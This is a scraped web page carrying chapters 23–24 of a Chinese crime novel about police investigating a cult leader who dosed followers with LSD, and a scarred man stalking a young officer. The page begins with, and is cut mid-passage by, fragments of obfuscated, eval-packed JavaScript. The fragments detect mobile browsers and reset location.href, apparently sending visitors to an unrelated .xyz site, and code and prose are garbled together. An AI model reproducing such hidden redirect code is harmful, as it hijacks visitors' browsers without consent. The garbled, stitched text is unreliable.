0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494120|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏很不能理解,只是打针而已,何至于哭成那样?每每都是他把江桢弄出来,由纪慧竹搂着,拍着背,好好哄上一会儿才能出门。纪慧竹不嫌麻烦,反而很乐得任江桢把湿/漉漉的小脸埋进自己怀中,好像可以一直这么哄下去。 “怕疼怎么啦?”宋柏还记得纪慧竹搂着惹人心疼的儿子,表情中满是纵容的样子,“我又不指望小桢长大变成英雄,变成觉得疼就知道哭的大人也不错啊。” 江桢终究没有成为那种人。 宋柏的心情一时难以言喻,本想挪开目光,却看见江桢锁骨中间靠下一点有什么东西正在微微闪光。 是那枚戒指。 医生那边已经重新扎好了绷带,示意江桢把脏了的湿衣服脱下来,去找自己的备用衣服给他了,护士整理完东西,掀开隔帘,到了另外一边,与外界隔开的小空间中,一时只剩下他们两人,宋柏眼睛微妙地一眯,直接上前把那戒指捏了起来:“这是什么?” 说着他举起戒指,对光打量,好像真是第一次看见它一样。 “这是戒指。”江桢一脸“这不是明摆着吗”。 下一秒宋柏的手指已经搭上他后颈凸/起的那一小块骨头,温热的呼吸威胁般打在皮肉上,裹在手上的纱布特有的粗糙质感在后颈摩/擦了一下,一股好闻的药味扑上鼻尖,眨眼间链子一沉,被解了下来。 “工作的时候不能戴首饰你不知道?违规了,没收。”宋柏面无表情,强压下问清楚这东西到底来自谁的冲动,理所当然地把它揣进自己裤兜,只觉得扎手又讨厌。 谁知道江桢竟然上手来争:“这个不能给你,这是别人的。” 什么意思?看来这个人也很珍贵、很受重视了? 话到嘴边,宋柏脱口而出的却是:“你自己的就能给我了?” “要是我的,你想要就要呗。”江桢一只手直接伸/进宋柏兜里去掏,手指隔着布料划过他的大/腿外侧,凉嗖嗖的。 其实以他对宋柏的了解,这么干和虎口拔牙差不多,可戒指毕竟是纪慧竹宝贝了那么久的东西,拔就拔吧,老虎要是生气了想咬就咬吧,他心里满是诸如此类非常大无畏的精神,转瞬手已经安然无恙地出来了。宋柏抱着胳膊,侧着身一动没动,这是一个很方便被掏兜的姿势。 “你还挺大方。”宋柏垂眼看着他,似笑非笑,话里有话,“这么重要的东西就不要外勤的时候戴在身上,找个金子做的盒,放在抽屉第一层里供起来,每天睡觉之前捧出来看看得了。” “……”江桢揉着自己的鼻尖,藏住了唇边一丝心虚的笑,“这个倒也没有那么重——” 嗡——嗡嗡! 宋柏手机一阵狂震,接起电话,那头是戴奇焦头烂额的嘶吼:“你俩快看看新闻!” 他的声音就算不开扬声器都能听清楚,江桢闻言,拿自己手机点开微博,红到发黑的热搜头条跳入视线:曝章宁二十三人雨夜登荒庙,涉险恐与邪教有关。 紧跟在下面的则是“毒/品‘邮票’重现章宁,贴在皮肤上可致幻”“什么是‘自在门’?”。 江桢下了床,与宋柏一起走到窗边,向外望去,刚刚喧闹的医院正门前现在空空荡荡,那名女记者当然也早已收工。 “我看到了,这就回来。”宋柏沉声回答,并不惊讶,“通稿写得倒很快。” 24.第二十四章 “最新消息,樱桃沟被困人员已全部脱离生命危险!” “某知名电子品牌创始人也曾沉迷其中,细数‘邮票’十宗罪。” “人心惶惶,剧毒致幻剂竟在我市流通……” 热度高到标题深红加粗的实时新闻,如一串火星籍由网线将舆论点燃至沸腾。话题讨论居高不下,自称是独家消息的新闻一条接着一条在屏幕最上方弹出,刺眼的手机屏幕光照亮了男人的脸。他异常惊讶,咬紧后牙,左脸上的疤顿时一抖,蜈蚣般狰狞。 一通电话忽然打入,手机的震动嗡鸣催命一般,似乎一阵急过一阵,男人看了一眼来电显示,擦了擦额头上的冷汗,迟疑了十几秒才小心翼翼地按下接听按钮,仿佛那是打开潘多拉之盒的开关。 那头的人还没有说话,男人抢先失声道:“夏老板!这不关我的事,我根本不知道有死鬼偷药,也不知道他们要这么做掉他!他奶奶的真是猪油蒙心,他们怎么敢……夏老板,您得保我!” 电话那头的年轻人罕见地耐着性子听他说完,沉默两秒,轻轻笑了。那笑声像是讥讽,令本就紧张的气氛瞬间绷到极致:“我说过做这门生意要小心,和你之前做的生意不同,你老人家从来不听。现在人在警察手里,我能怎么办?” “老板,这……”男人想反驳什么,可就连电话那头的人的呼吸声都令他觉得恐惧到说不出话来。 “难道他们供奉的钱你没抽吗,让我猜猜看,你是按二八开抽出来的吧?”年轻人声音带笑却毫无情感起伏,他似乎没有在场,却一清二楚地看到了男人所做的一切,略显惋惜地说,“桂叔,要让我保你,总要带给我我想要的东西,做人不可以太贪,是不是?” 短短几分钟而已,男人一背冷汗已经浸/透了衣裳,他忙不迭地点头道:“是是、您想要——” 还没有等他揣度出结果来,电话已经挂断了。嘟嘟的忙音和男人此刻提至喉咙的心跳一样凌乱,他顿了顿,突然想到了什么,重新点开新闻热搜,翻到末尾处,那里配了一张在医院门口拍到的照片: 雨幕把画面染成潮湿的灰色,一辆救护车的门开着,抓拍的瞬间,两个穿浅蓝色执勤服的警察正从那辆车上下来,靠近镜头的一个个稍矮,皮肤苍白,虽然只有一个模糊侧影,却足够成为整张照片最吸引人眼球的焦点,因为他很好看。 雨水让所有颜色混成一团,景物如同打翻的色板,一切都是灰色的,只有这个警察,雨雾竟似为他镀上柔光,朦胧了他秀挺明晰的侧脸轮廓。 男人点开照片,放大,死死盯着年轻秀美的猎物。 他长大了。 是时候把他带回到老板身边。 . “姓名。” “李志贞。” “知道为什么带你来吗?” “搞邪教。” “嘿,你也知道这是邪教,知道是邪教还搞!”戴奇骤然发难,猛地用力把桌子拍得轰然作响,然而坐在对面的李志贞只是有气无力地抬了抬头,嘴唇嗫嚅片刻,才说,“我生病了,缺钱,不搞就得死,不得不搞。” 短短一天,他就从莲台之上可赐人生死的神的话事人沦为了狼狈不堪的阶下囚,他嘴唇惨白干裂,胡子拉碴,一脸龙钟老态。 “搞的什么邪教?” “‘自在门’,南方过来的,你们上网查,能查到。” “谁把自在门说给你的?” “没人说,我老婆信佛,我们家挨着化智寺,和卖佛像的人多聊聊天就知道了。这个比别的好搞,北方没什么人见过。” “那把致幻剂给过来拜神的人吃也是你自己想的咯?”戴奇冷笑到,“你脑子倒很灵光,不像是梗过一次的人。” “是。”李志贞居然就这么直接承认了。自从被铐进讯问室之后,他拒食拒水,自己把自己熬了个半死,此刻斜靠在椅子里,一改温和中年人的形象,不知怎么竟然爆发出极大的力气,声音嘶哑吼道:“李想这个王/八犊子,吸干了老子去读艺术还不够,还他/妈吸毒!你知道他是怎么管老子要钱的吗?他当着他/妈/的面割自己的肉,说不给他钱他就去死,老子巴不得他死透了别来祸害老子!” 这一吼极速消耗了他所剩不多的体力,很快他便颓然倒回去,靠着椅背直喘粗气,脸色也由涨红的猪肝色迅速转白,他喃喃道:“所以我就偷拿他吸的那些东西,放进符水里……他们果然信了,果然……信了之后就开始拜,给了我不少钱。” “照你这么说,你儿子完全不知道你搞这个?” “不知道。他知道什么?败家子!” “这次带一群人上山是为了干什么?嗯?” “没什么,就想要钱,一个人收点,二十多个人,能收二十万不止。我家底都被败光了,之后靠什么活?老小区那套房子,还是他画的那几幅破画?!一克毒/品才多少钱,这么干不比贩/毒挣得还多,你说是不是,警官?”李志贞斜着眼睛,似笑非笑地盯着戴奇,嘴角因为太过激动泛着白沫,看起来比精神异常时的洪二发还要不可理喻,“只要我有两小瓶那个东西,钱就可以一直赚下去。” 这种视人命如草芥的态度简直令人不寒而栗。 戴奇没有露出丝毫讶然或震惊的表情,而是向李志贞那边倾过上身,一字一顿地问:“所以,当那几瓶宝贝一样的lsd被岳小伟偷走了一瓶的时候,你第一反应就是杀了他,是吗?” 李志贞顿时没了声音。他刚刚还在像一条被抛上岸的死鱼一样张着嘴粗声喘气,岳小伟的名字就像有威慑之能,瞬间抹去了他脸上故意作出的戏谑表情,汗水旋即从他的额头滚落而下,砸在面前的桌板上晕开深色的水渍。 他的手指在抖,声音强作镇定:“什么?” 这两个字还包含/着一丝可察的颤/抖,下一秒他已经强自平息粗重的呼吸,堪称四平八稳地问道:“谁是岳小伟?” “我艹,这孙子装傻!”讯问室外,杨繁按着蓝牙耳麦,急得上前一步,脑袋差点撞上单面玻璃,被宋柏轻轻一咳,呵住了。 他转过头看向宋柏,后者双臂环抱在身前,一向锐利明亮的眼睛不动声色却又专注地打量着李志贞,那目光如有实质,像一柄精钢手术刀,想要从外往里把嫌疑人剖开,条分缕析,看透对方的每一次顿错、每一个回答。 戴奇没有说话。他也是从警十年的老警察了,知道讯问是多么精巧的心理博弈。哪怕他此时像每个人下意识都会做的那样,反问一句“你不认得岳小伟?”,都有可能被嫌疑人猜到警方掌握的信息量。 气氛顿时胶着起来。 恰在这时,与办公室一门之隔的走廊上传来一阵脚步声,间或响起女性啜泣的声音:“我们真的不知道老李会这样,家里是没什么钱了,可他也不至于这样!我和想想都不知道他骗了那么多钱,那么多人啊,我得去给人家道歉,我给他们跪下了……!” 紧接着就是沉闷的扑通一声,下一秒办公室的门被推开一缝,露出江桢的不知所措的半张脸。他伸手拽了拽离门最近的仲夏,小声说:“快来帮我扶一把。” 走廊上跪着的正是李志贞的老婆陈兰,儿子吸/毒被拘,好不容易戒了毒,日子好过两年,老公又因为组织邪/教被抓,在接受例行询问之后,这茹素半生、没干过伤天害理的事的女人终于精神崩溃了。 哭声、安抚,甚至咚咚以头叩地的声音在办公室外乱作一团,宋柏推门而出,江桢和仲夏一左一右架着陈兰,正费劲地要将她扶起来,可陈兰执意要跪,才站起来一半,身体又像面口袋似的直往下沉,仲夏力气相对小些,江桢肩上的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这两个地方只有一字之隔,差别却天翻地覆,警方没有李想母子违法的确凿证据,两人是以重要证人的身份进入的询问室,而传唤证人的时间一般不得超过12小时。即使警方再怎么怀疑李想有问题,时间到了,只能放人。 三人拾级而下,短暂的沉默之后,李想问:“宋警官,我爸他……做这些事情会判多久?” 有宋柏在旁边,陈兰连出声哭都不敢,只是一个劲儿地抹眼泪。 “那要看他究竟都做了什么,还有没有人陪他一起做。” 李想像被针扎了似的猛地转过头,问:“您的意思是,我爸还有共犯?” 宋柏迎上他的目光,没说是与不是,四目相对的那一刻,他清楚地在这个看起来毫无破绽的年轻人眼里看到一丝心虚和慌乱,只有这么一点点就足够他确定心里的某个想法了:“这几天暂时不要出章宁,后续我们可能还有工作需要你们配合。” “哦……好,一定配合,一定一定。”李想很聪明。和那些面对警察会流露出明显敌意的瘾君子不同,他懂得曲意逢迎,佯作配合,只是套话的技巧实在还需提高。 陈兰看起来是真的什么也不知道,据她说,千手观音像是因为自己和儿子要回沽安老家,想到这段时间没人敬拜,怕落灰才从卧室柜子上移到了衣柜中,柜子上方陈旧的圆形痕迹与观音像底座吻合,证明了她的说法。 李想依旧十分可疑。一开始,他坚称父亲不可能偷走两年前自己吸食的毒/品,原因和警察判断的一样,那东西数量很少,且被他藏得很严,如果少了一定能够发现,可随着问话的深/入,李想最后又改了口,说自己当时因为上瘾昏昏沉沉,也可能没发现药变少了。至于其他问题,他的回答和母亲陈兰没有出入。 令宋柏在意的是李想为父亲辩解时的一句话:“我爸怎么可能知道这些,他根本不上网,那些聊天软件都用不利落,更不会网上购物啊。” 负责询问的警员根本没有提到网上购物。 宋柏看着两人互相搀扶着走远,深吸一口气,随大雨而来的潮湿腥气令他精神一振,他转过身,向楼上走去。 如果他此刻回头,就会发现那走出不远的两人站住了。天气很差,马路上车辆稀少,一辆黑出租停在刚从市分局走出的母子旁边,司机摇下车窗,大声问:“你们走不走?” 一道闪电骤然划过天幕,照亮了他带疤的左脸。